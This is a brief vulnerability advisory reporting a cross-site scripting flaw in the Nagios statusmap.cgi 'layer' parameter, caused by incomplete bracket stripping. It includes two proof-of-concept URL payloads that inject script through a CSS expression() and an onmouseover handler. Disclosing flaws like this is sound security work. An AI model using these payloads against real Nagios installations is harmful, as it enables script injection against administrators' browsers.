Advisory:           Cross-Site Scripting vulnerability in Nagios
Advisory ID:        SSCHADV2011-002
Author:             Stefan Schurtz
Affected Software:  Successfully tested on: nagios-3.2.0 / nagios-3.2.3
Vendor URL:         http://www.nagios.org
Vendor Status:      ID 0000207: Cross-Site Scripting vulnerability in Nagios 
CVE-ID:             -

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Vulnerability Description:
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This is Cross-Site Scripting vulnerability

JavaScript can be included in style sheets by using "expression()" (IE only)

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Technical Details:
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The function "strip_html_brackets" strip > and < from string but it's not enough to prevent XSS attacks in "statusmap.cgi&layer="

http://site/nagios/cgi-bin/statusmap.cgi?layer=' style=xss:expression(alert('XSS')) '
http://site/nagios/cgi-bin/statusmap.cgi?layer=' onmouseover="alert('XSS')" '

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cgiutils.c
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[schnipp]